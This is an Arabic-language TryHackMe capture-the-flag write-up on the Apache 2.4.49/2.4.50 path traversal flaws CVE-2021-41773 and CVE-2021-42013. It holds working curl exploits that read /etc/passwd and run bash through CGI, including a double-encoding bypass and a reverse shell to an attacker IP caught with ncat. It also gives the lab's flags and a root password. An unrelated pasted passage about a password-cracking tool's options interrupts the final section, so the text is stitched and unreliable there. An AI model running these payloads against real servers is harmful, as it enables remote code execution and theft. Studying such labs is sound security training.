
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
تاريخ مختصر
في الخامس من أكتوبر 2021، تم نشر ثغرة (CVE) تفصّل هجوم تجاوز المسار على خادم Apache HTTP Server الإصدار v2.4.49. حُملت الرقم CVE-2021-41773، ونُشرت بالوصف التالي:
تم العثور على خلل في تغيير تم إجراؤه على تسوية المسار (path normalization) في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم تجاوز المسار لربط عناوين URL بملفات خارج جذر المستندات المتوقع. إذا كانت الملفات خارج جذر المستندات غير محمية بواسطة "require all denied"، يمكن لهذه الطلبات أن تنجح. بالإضافة إلى ذلك (كما ورد)، يمكن لهذا الخلل تسريب مصدر الملفات المفسّرة مثل نصوص CGI. من المعروف أن هذه المشكلة استُغلت في البرية. تؤثر هذه المشكلة فقط على Apache 2.4.49 وليس الإصدارات الأقدم.
دعنا نقسّم هذا لنرى ما يعنيه ذلك فعليًا بالنسبة لنا:
الكثير من الإصلاحات لاحقًا...
بالتالي، أصلحت Apache هذا الخلل وأصدرت الإصدار v2.4.50. نهاية القصة، أليس كذلك؟ حسنًا، ليس تمامًا. بعد يومين فقط، في السابع من أكتوبر، تم نشر ثغرة CVE جديدة تستند إلى السابقة. تذكر هذه الثغرة أن إصلاح هجوم تجاوز المسار السابق كان غير مكتمل، وأنه لا يزال بإمكاننا تجاوز المسار إذا كان المسار المعني يستخدم توجيه alias لربط عناوين URL بنظام الملفات. حُملت الثغرة الرقم CVE-2021-42013، بالوصف التالي:
تبين أن إصلاح CVE-2021-41773 في Apache HTTP Server 2.4.50 كان غير كافٍ. يمكن للمهاجم استخدام هجوم تجاوز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها بواسطة توجيهات شبيهة بـ Alias. إذا كانت الملفات خارج هذه الدلائل غير محمية بالتكوين الافتراضي المعتاد "require all denied"، يمكن لهذه الطلبات أن تنجح. إذا تم أيضًا تمكين نصوص CGI لهذه المسارات المستعارة (كما ورد)، فقد يسمح ذلك بتنفيذ التعليمات البرمجية عن بُعد. تؤثر هذه المشكلة فقط على Apache 2.4.49 وApache 2.4.50 وليس الإصدارات الأقدم.
كما في السابق، يمكننا تعلم بعض الأشياء هنا:
بينما نستوعب هذا الجنون، سننظر في التكوين المطلوب في المهمة التالية.
أجب عن الأسئلة أدناه
القليل من النظرية
استغلال تجاوز المسار (Path Traversal) هو هجوم يهدف إلى الوصول إلى موارد يتعذر الوصول إليها عادةً عبر إساءة استغلال العيوب في تحليل المسار و/أو تسويته. عادةً ما نستغل هذا النوع من الهجمات بالانتقال (المعروف أيضًا بالتجاوز) إلى الخلف إلى ما وراء الجذر المفترض باستخدام صيغة ...
التسوية؟ ماذا؟
عادةً، عند توفير مسار لبعض التعليمات البرمجية للعثور على ملف، يكون المسار المطلق ضروريًا. دعنا نسمي هذا المسار القانوني (canonical path). عندما يتم إعطاء مسار نسبي بدلاً من ذلك، يجب تسويته إلى صيغة قانونية حتى تتمكن مكتبات نظام التشغيل التي تستخدم هذا المسار من العثور على المورد المعني. هذا تبسيط مفرط، بالطبع، لكن الجوهر يبقى.
بشكل عام، توجد مكتبات منصة تقوم بهذه التسوية نيابةً عنا، لكن في C/C++ عادةً ما يتعين علينا فعل كل شيء بأنفسنا. في حين أن هذا يمكن أن يوفر بعض المرونة، فإنه يمكن أيضًا أن يُدخل عيوبًا بسهولة إذا لم يكن تنفيذنا مثاليًا.
تسوية عناوين URL
يجب على خادم HTTP ترجمة عنوان URL إلى مسار قانوني على نظام الملفات للعثور على الملف الصحيح لتقديمه. بينما توجد بالتأكيد بعض عوامل التصفية لتجنب القدرة على تجاوز جذر المستندات، قد يتم تفويت بعض حالات الاستخدام بسهولة. في هذه الحالة، يستغل الهجوم ليس فقط ترميز URL (سنصل إليه بعد قليل) ولكن أيضًا خللًا في تسوية المسار لوحدة Alias (كما يُزعم)
استطراد حول ترميز URL
المعرف في RFC 3986 القسم 2، ترميز URL هو مخطط يُستخدم لتشفير الأحرف الخاصة أو المحجوزة داخل عنوان URL. على سبيل المثال، يتم ترميز المسافات في عنوان URL كحرف + (خاصة في معاملات الاستعلام). إذا أردنا ترميز علامة زائد فعلية، فيجب علينا ترميزها باستخدام ما يُعرف بـ "الترميز المئوي" (percent-encoding). يتضمن ذلك ببساطة إضافة رمز % إلى الكود السداسي العشري US-ASCII الخاص بالحرف. في مثالنا، يمكن ترميز الرمز + كـ %2B.
يمكن ترميز أي حرف بتشفير URL، وعناوين URL المرمزة بالكامل مكافئة وظيفيًا للنسخة غير المرمزة. من RFC: إذا اختلف عنوانا URI فقط في حالة الأحرف السداسية العشرية المستخدمة في الثمانيات المرمزة بالمئة، فإنهما متكافئان.
إذًا ماذا حدث مع Apache؟
تغيير حديث في وحدة تسوية المسار في خادم Apache سمح لعنوان URL مُصمم خصيصًا بتجاوز عوامل التصفية والتجاوز إلى ما وراء جذر المستندات، مما سمح بقراءة ملفات عشوائية على النظام إذا كان التكوين يسمح بذلك. علاوةً على ذلك، إذا تم تمكين وحدة CGI، فمن الممكن أيضًا تنفيذ ملفات عشوائيًا!
أجب عن الأسئلة أدناه
A) Include arbitrary remote files to be processed on the server. B) Include arbitrary local files to be processed on the server. C) Allow arbitrary files to be exposed by the server. D) None of the above.
اختراق Apache للمتعة
إذًا والآن بعد أن انتهت النظرية، دعنا ننتقل إلى استغلال هذه الثغرة. أولاً، نحتاج إلى إصدار ضعيف من Apache. لحسن الحظ لدينا docker لهذا الغرض :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**التهيئة**
لكي يعمل هذا الاستغلال، نحتاج إلى تهيئة Apache للسماح بالوصول إلى الملفات خارج جذر المستندات. يمكننا أن نكون دقيقين ونحدد دليلاً معيناً، أو يمكننا اتباع نهج YOLO ومنح الوصول إلى كل شيء. لأغراضنا، الوصول إلى كل شيء سيكون مناسباً تماماً. للبدء، لنشغّل الحاوية ونفحص التهيئة. لاحظ أن هذه التعديلات تعمل مع كلا الإصدارين المعرّضين للخطر من Apache.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
كمعلومة جانبية، يمكنك دائمًا تعديل التهيئة يدويًا. نريد تعديل الجزء الذي يقول:``` AllowOverride none Require all denied
واستبدل كلمة denied بكلمة granted. سيمنح هذا Apache حق الوصول إلى نظام الملفات بأكمله (وهي فكرة سيئة بالتأكيد، لذا لا تفعل هذا في بيئة الإنتاج أبدًا).
**الإعدادات من أجل RCE الشهية**
تعديل ضوابط الوصول بمفرده سيكشف البيانات، لكنه لن يمنح RCE. للحصول على RCE في PoC الصغير الخاص بنا، نحتاج فقط إلى تفعيل وحدة CGI بالإضافة إلى أذونات الوصول. سيؤدي ذلك إلى جعل وحدة CGI تنفذ السكربت عندما نستدعيه بدلاً من مجرد عرض محتوياته. لتفعيل CGI، نحتاج فقط إلى إلغاء تعليق إعداد LoadModule. بافتراض أننا ما زلنا نملك الحاوية التي عدّلناها سابقًا، يمكننا القيام بالتالي:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
يمكنك بالطبع استخدام أي محرر نصوص متاح لتعديل الملفات. تعمل طريقة grep/sed مع الصدفة داخل الحاوية، حيث لا تتوفر محررات نصوص.
لننتقل إلى الاستغلالات الآن!
الآن بعد أن جهزنا الحاوية، يمكننا أخيرًا الانتقال إلى استغلال هذه الثغرة (CVE). الطريقة بسيطة للغاية، وتتضمن ترميز عنوان URL (url-encoding) لأحد رموز . في كل جزء من مسار URL أثناء التنقل. نحتاج أيضًا إلى التنقل من مسار مستعار. لحسن الحظ، عرفنا من قراءة الإعدادات أن مسار cgi-bin مستعار افتراضيًا، لذا دعنا نستخدمه! يختلف الاستغلال قليلاً بين الإصدارين 2.4.49 و2.4.50، على الرغم من أن الأخير يعمل أيضًا على الأول.
Apache 2.4.49 بدون تفعيل CGI
بدون تفعيل CGI، يمكننا قراءة الملفات فقط. باستخدام curl، نصل ببساطة إلى الملفات التي نريدها، مع ترميز عنوان URL لأحد رموز . في كل جزء من أجزاء المسار.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 مع تفعيل CGI**
سيعقّد CGI الأمور، حيث ستحاول الوحدة تنفيذ الملف المسترجع. بالنسبة للنص العادي، مثل /etc/passwd، قد يمثل هذا مشكلة :). لتنفيذ الكود، يمكننا ببساطة استدعاء `sh` أو `bash` مع الأمر في نص الطلب. لاحظ أنه يجب أيضًا تضمين رأس استجابة Content-Type حتى يعرف العميل كيفية عرض النتائج.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
تم إصلاح هذا المثال تحديدًا في الإصدار 2.4.50. ومع ذلك، كان الإصلاح غير مكتمل ولم يراعِ الترميز المزدوج لعنوان URL. في هذه الحالة، يمكننا استخدام نفس البنية كما في الإصدار السابق، مع المسار التالي:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
إذا نظرنا عن كثب، يمكننا أن نرى أن عنوان URL يُفك ترميزه من `%%32%65` إلى `%2e.` وهذا يتجاوز رمز التصفية ويسمح لنا بالانتقال خارج جذر خادم الويب.
**أجب عن الأسئلة أدناه**
1. **ما الوحدة التي يجب تمكينها للحصول على تنفيذ التعليمات البرمجية عن بُعد؟**
- **mod_cgi**
---
### المهمة 4: الاختبار العملي
الإعداد دقيق بعض الشيء، لذلك قمت به بالكامل من أجلك! في VM المرفق بهذه المهمة (يُرجى الانتظار حتى 4 دقائق لبدء التشغيل بشكل صحيح لجهاز VM الخاص بالمشتركين، و7 دقائق لجهاز VM المجاني)، هناك 4 خوادم Apache تحتوي على ثغرات تم إعدادها على النحو التالي:
Apache 2.4.49 without CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 with CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 without CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 with CGI: `http://MACHINE_IP:8083`
كل خادم يحتوي على علم (flag) في الدليل الجذر باسم `flag.txt`. مهمتك هي العثور عليها جميعًا.
كهدف إضافي، حاول الحصول على شل (shell) فعلي على أحد الخوادم التي تم تمكين CGI عليها. الخادم على المنفذ 8083 يحتوي أيضًا على علم جذر مخفي.
***أجب عن الأسئلة أدناه***
1. **ما هو العلم (flag) على المنفذ 8080؟**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **ما هو الـ flag على المنفذ 8082؟**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **تمكنت من فتح شيل! (لا أستطيع التحقق من ذلك فعليًا، لذا سأثق بك في هذا الأمر :))**
***لا حاجة لإجابة***
6. **بأي مستخدم يعمل خادم Apache؟**
- ***daemon***
7. **ابحث عن علم الجذر على الجهاز على المنفذ 8083؟**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
نعم، يمكنك تغييرها ولكن يجب أن تعلم أن حجم الكراكبيرو يعتمد على سرعات الشبكة وقاعدة كلمات المرور وعدد سلاسل العمليات.
كن حذرًا لتجنب الإفراط في استخدام سلاسل العمليات؛ فقد يتعطل خادمك. يمكن لسلسلة واحدة إجراء 500 محاولة في الثانية تقريبًا. عادةً ما تسمح المواقع بـ 500 محاولة معًا، لكن العدد الأقصى ينخفض إلى 30-50. قد يؤدي تجاوز العدد إلى تعطيل IP. إذا واجهت حظرًا، جرب إعدادات سلسلة العمليات والسرعة الموصى بها.
توجد 3 ملفات رئيسية يتم إنشاؤها وتحديثها أثناء تشغيل الأداة.
_SESSIONS/ : يتم إنشاء مجلد الجلسة هنا (باستثناء Test_Session)._SESSIONS/.crawl : ملف نصي يحتوي على عناوين URL التي تم الزحف إليها. يمكن استخدام هذا الملف لاحقًا لتخصيص القائمة._SESSIONS/.pot : ملف نصي يحتوي على أزواج اسم المستخدم/كلمة المرور التي تم كسرها بنجاح. يمكن استخدام هذا الملف لاحقًا لتخصيص القائمة._SESSIONS/.not_found : ملف نصي يحتوي على أسماء مستخدمين غير موجودة وتم اختبارها من قبل. لا حاجة لاختبار هذه الأسماء مرة أخرى.--retest & --retest-sessionإذا وجدت اسم مستخدم/كلمة مرور صحيحين، ستتم إضافتهما إلى الملف .pot ولن يتم اختبارهما مرة أخرى. إذا كنت ترغب في إعادة الاختبار مع معلمات إضافية، يمكنك حينها منع الأداة من تحميل هذا الملف باستخدام الوسم --retest. سيتم بعد ذلك إعادة اختبار أزواج اسم المستخدم/كلمة المرور التي تم العثور عليها في الجلسة الحالية.
إذا كنت تعمل على أكثر من جهاز كمبيوتر وتريد متابعة الجلسة السابقة، استخدم الوسم --retest-session مع اسم الجلسة التي تريد متابعتها، وسيتم حينها منع تحميل القائمة .pot. مفيد في حال كنت ترغب في إعادة تشغيل الأداة على خادم آخر، مع إعدادات مختلفة مثل كلمات مرور إضافية أو قيم خاصة.
--combinations & --comboيحتاج كلا الخيارين إلى ملف تركيبة (اسم مستخدم:كلمة مرور) واحدًا تلو الآخر. ولكن هناك بعض الاختلافات بينهما.
| الوسم | الوظيفة |
|---|---|
--combinations | يقرأ كلمة المرور والاسم من الملف، مفصولين بـ : ويحاول كسرهما مرة واحدة فقط. |
--combo | يقرأ التركيبة من الملف، مفصولة بـ : ثم يقوم بتعليب اسم المستخدم وكلمة المرور ويحاول الكسر باستخدام القائمة. |
المعنى: سيحاول --combo الكسر باستخدام اسم المستخدم وكلمة المرور، ثم تجربة قواعد مختلفة لاسم المستخدم وكلمة المرور، مع استهلاك وقت أطول بكثير من --combinations.```
$ ncat -lvp 4242
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4242
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 10.10.37.52.
Ncat: Connection from 10.10.37.52:35836.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@18c7613b3859:/bin$ cd /root
cd /root
bash: cd: /root: Permission denied
daemon@18c7613b3859:/bin$ su root
su root
Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}